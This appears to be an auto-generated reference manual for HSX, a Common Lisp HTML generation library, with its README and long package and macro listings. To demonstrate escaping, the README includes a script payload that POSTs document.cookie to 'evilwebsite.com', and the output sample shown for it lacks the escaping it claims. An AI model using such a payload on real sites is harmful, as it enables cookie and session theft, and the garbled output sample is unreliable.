This is the hsx Reference Manual, version 0.6.0, generated automatically by Declt version 4.0 beta 2 "William Riker" on Tue Jul 15 05:17:50 2025 GMT+0.
The main system appears first, followed by any subsystem dependency.
hsxSimple and powerful HTML generation library.
Akira Tempaku <paku@skyizwhite.dev>
Akira Tempaku, Bo Yao
MIT
# HSX – Hypertext S-expression
**HSX** is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax.
[Practical usage example](https://github.com/skyizwhite/website)
> 🚧 **BETA NOTICE:**
> This library is still in early development. APIs may change.
> See [release notes](https://github.com/skyizwhite/hsx/releases) for details.
## ⚙️ How HSX Works
Every tag or component inside an ‘(hsx ...)‘ form is transformed into a Lisp expression of the form:
“‘lisp
(create-element type props children)
“‘
For example:
“‘lisp
(hsx
(article :class "container"
(h1 "Title")
(p "Paragraph")
(~share-button :service :x))
“‘
Is internally transformed (by macro expansion) into:
“‘lisp
(create-element :article
(list :class "container")
(list (create-element :h1
(list)
(list "Title"))
(create-element :p
(list)
(list "Paragraph"))
(create-element #’~share-button
(list :service :x)
(list))))
“‘
## 🚀 Quick Example
“‘lisp
(hsx
(div :id "main" :class "container"
(h1 "Hello, HSX!")
(p "This is a simple paragraph.")))
“‘
Generates:
“‘html
<div id="main" class="container">
<h1>Hello, HSX!</h1>
<p>This is a simple paragraph.</p>
</div>
“‘
## 📝 Rendering
Use ‘render-to-string‘ to convert an HSX structure to a string of HTML:
“‘lisp
(render-to-string
(hsx ...))
“‘
## 🔐 Escaping text
All elements automatically escape special characters in content to prevent XSS and HTML injection:
“‘lisp
(hsx
(div "<script>fetch(’evilwebsite.com’, { method: ’POST’, body: document.cookie })</script>"))
“‘
Outputs:
“‘html
<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>
“‘
Use the special tag ‘raw!‘ to inject trusted, unescaped HTML:
“‘lisp
(hsx
(article (raw! "HTML text here ..."))
“‘
## 🧩 Fragments
Use ‘<>‘ tag to group multiple sibling elements without wrapping them in a container tag:
“‘lisp
(hsx
(<>
(p "One")
(p "Two")))
“‘
Outputs:
“‘html
<p>One</p>
<p>Two</p>
“‘
Note: ‘raw!‘ tag is a fragment that disables HTML escaping for its children.
## 🧱 Components
Define reusable components using ‘defcomp‘ macro. Component names must start with ‘~‘.
*Keyword-style*
“‘lisp
(defcomp ~card (&key title children)
(hsx
(div :class "card"
(h2 title)
children)))
“‘
*Property-list style*
“‘lisp
(defcomp ~card (&rest props)
(hsx
(div :class "card"
(h2 (getf props :title))
(getf props :children))))
“‘
### Usage
“‘lisp
(hsx
(~card :title "Hello"
(p "This is a card.")))
“‘
Outputs:
“‘html
<div class="card">
<h2>Hello</h2>
<p>This is a card.</p>
</div>
“‘
## 🧬 Logic and Interpolation
You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
“‘lisp
(hsx
(div
(if (> (random 10) 5)
(hsx (p "High!"))
(hsx (p "Low!")))))
“‘
Or loop:
“‘lisp
(hsx
(ul
(loop :for item :in todo-list :collect
(hsx (li item))))))
“‘
## Utils
- ‘(clsx &rest strs)‘: A utility function for constructing class strings conditionally. It removes ‘nil‘ from the string list, then joins the remaining strings with spaces.
## 📄 License
MIT License
© 2024 Akira Tempaku
© 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project)
0.6.0
hsx/main (system).
hsx/mainAkira Tempaku <paku@skyizwhite.dev>
Akira Tempaku, Bo Yao
MIT
hsx/element (system).
hsx/dsl (system).
hsx/utils (system).
hsx/builtin (system).
hsx/elementAkira Tempaku <paku@skyizwhite.dev>
Akira Tempaku, Bo Yao
MIT
str (system).
hsx/utils (system).
hsx/utilsAkira Tempaku <paku@skyizwhite.dev>
Akira Tempaku, Bo Yao
MIT
alexandria (system).
hsx/dslAkira Tempaku <paku@skyizwhite.dev>
Akira Tempaku, Bo Yao
MIT
alexandria (system).
hsx/element (system).
hsx/builtinAkira Tempaku <paku@skyizwhite.dev>
Akira Tempaku, Bo Yao
MIT
hsx/dsl (system).
Files are sorted by type and then listed depth-first from the systems components trees.
hsx/hsx.asdhsx/main/file-type.lisphsx/element/file-type.lisphsx/utils/file-type.lisphsx/dsl/file-type.lisphsx/builtin/file-type.lisphsx/element/file-type.lisphsx/element (system).
component (class).
create-element (function).
element (class).
element-children (reader method).
element-props (reader method).
element-type (reader method).
expand-component (method).
fragment (class).
html-tag (class).
print-object (method).
print-object (method).
print-object (method).
print-object (method).
print-object (method).
raw-fragment (class).
render-to-string (generic function).
self-closing-tag (class).
tag (class).
element-props-with-children (method).
flatten (function).
render-children (method).
render-children (method).
render-props (method).
render-type (method).
self-closing-tag-sym (type).
hsx/utils/file-type.lisphsx/utils (system).
clsx (function).
escape-html-attribute (function).
escape-html-text-content (function).
*attribute-escape-map* (special variable).
*text-content-escape-map* (special variable).
escape-char (function).
escape-string (function).
hsx/dsl/file-type.lisphsx/dsl (system).
%create-element (function).
defhsx (macro).
detect-builtin-element (function).
detect-component (function).
detect-elements (function).
parse-body (function).
start-with-tilde-p (function).
hsx/builtin/file-type.lisphsx/builtin (system).
<> (macro).
a (macro).
abbr (macro).
address (macro).
area (macro).
article (macro).
aside (macro).
audio (macro).
b (macro).
base (macro).
bdi (macro).
bdo (macro).
blockquote (macro).
body (macro).
br (macro).
button (macro).
canvas (macro).
caption (macro).
cite (macro).
code (macro).
col (macro).
colgroup (macro).
data (macro).
datalist (macro).
dd (macro).
del (macro).
details (macro).
dfn (macro).
dialog (macro).
div (macro).
dl (macro).
dt (macro).
em (macro).
embed (macro).
fieldset (macro).
figcaption (macro).
figure (macro).
footer (macro).
form (macro).
h1 (macro).
h2 (macro).
h3 (macro).
h4 (macro).
h5 (macro).
h6 (macro).
head (macro).
header (macro).
hr (macro).
html (macro).
i (macro).
iframe (macro).
img (macro).
input (macro).
ins (macro).
kbd (macro).
label (macro).
legend (macro).
li (macro).
link (macro).
main (macro).
map (macro).
mark (macro).
meta (macro).
meter (macro).
nav (macro).
noscript (macro).
object (macro).
ol (macro).
optgroup (macro).
option (macro).
output (macro).
p (macro).
param (macro).
picture (macro).
pre (macro).
progress (macro).
q (macro).
raw! (macro).
rp (macro).
rt (macro).
ruby (macro).
s (macro).
samp (macro).
script (macro).
section (macro).
select (macro).
small (macro).
source (macro).
span (macro).
strong (macro).
style (macro).
sub (macro).
summary (macro).
sup (macro).
svg (macro).
table (macro).
tbody (macro).
td (macro).
template (macro).
textarea (macro).
tfoot (macro).
th (macro).
thead (macro).
time (macro).
title (macro).
tr (macro).
track (macro).
u (macro).
ul (macro).
var (macro).
video (macro).
wbr (macro).
define-builtin-tags (macro).
Packages are listed by definition order.
hsx/utilscommon-lisp.
hsx.
clsx (function).
escape-html-attribute (function).
escape-html-text-content (function).
*attribute-escape-map* (special variable).
*text-content-escape-map* (special variable).
escape-char (function).
escape-string (function).
hsx/builtincommon-lisp.
<> (macro).
a (macro).
abbr (macro).
address (macro).
area (macro).
article (macro).
aside (macro).
audio (macro).
b (macro).
base (macro).
bdi (macro).
bdo (macro).
blockquote (macro).
body (macro).
br (macro).
button (macro).
canvas (macro).
caption (macro).
cite (macro).
code (macro).
col (macro).
colgroup (macro).
data (macro).
datalist (macro).
dd (macro).
del (macro).
details (macro).
dfn (macro).
dialog (macro).
div (macro).
dl (macro).
dt (macro).
em (macro).
embed (macro).
fieldset (macro).
figcaption (macro).
figure (macro).
footer (macro).
form (macro).
h1 (macro).
h2 (macro).
h3 (macro).
h4 (macro).
h5 (macro).
h6 (macro).
head (macro).
header (macro).
hr (macro).
html (macro).
i (macro).
iframe (macro).
img (macro).
input (macro).
ins (macro).
kbd (macro).
label (macro).
legend (macro).
li (macro).
link (macro).
main (macro).
map (macro).
mark (macro).
meta (macro).
meter (macro).
nav (macro).
noscript (macro).
object (macro).
ol (macro).
optgroup (macro).
option (macro).
output (macro).
p (macro).
param (macro).
picture (macro).
pre (macro).
progress (macro).
q (macro).
raw! (macro).
rp (macro).
rt (macro).
ruby (macro).
s (macro).
samp (macro).
script (macro).
section (macro).
select (macro).
small (macro).
source (macro).
span (macro).
strong (macro).
style (macro).
sub (macro).
summary (macro).
sup (macro).
svg (macro).
table (macro).
tbody (macro).
td (macro).
template (macro).
textarea (macro).
tfoot (macro).
th (macro).
thead (macro).
time (macro).
title (macro).
tr (macro).
track (macro).
u (macro).
ul (macro).
var (macro).
video (macro).
wbr (macro).
define-builtin-tags (macro).
hsx/elementcommon-lisp.
hsx.
component (class).
create-element (function).
element (class).
element-children (generic reader).
element-props (generic reader).
element-type (generic reader).
expand-component (generic function).
fragment (class).
html-tag (class).
raw-fragment (class).
render-to-string (generic function).
self-closing-tag (class).
tag (class).
element-props-with-children (generic function).
flatten (function).
render-children (generic function).
render-props (generic function).
render-type (generic function).
self-closing-tag-sym (type).
hsx/dslcommon-lisp.
hsx.
%create-element (function).
defhsx (macro).
detect-builtin-element (function).
detect-component (function).
detect-elements (function).
parse-body (function).
start-with-tilde-p (function).
Definitions are sorted by export status, category, package, and then by lexicographic order.
Define an HSX function component.
The component name must start with a tilde (~).
Component properties must be declared using &key, &rest, or both.
The body of the component must produce a valid HSX element.
Detect HSX elements and automatically import them.
Render an HSX element to a string.
self-closing-tag) stream) ¶raw-fragment)) ¶| Jump to: | %
<
A B C D E F G H I K L M N O P Q R S T U V W |
|---|
| Jump to: | %
<
A B C D E F G H I K L M N O P Q R S T U V W |
|---|
| Jump to: | *
C P S T |
|---|
| Jump to: | *
C P S T |
|---|
| Jump to: | C E F H P R S T |
|---|
| Jump to: | C E F H P R S T |
|---|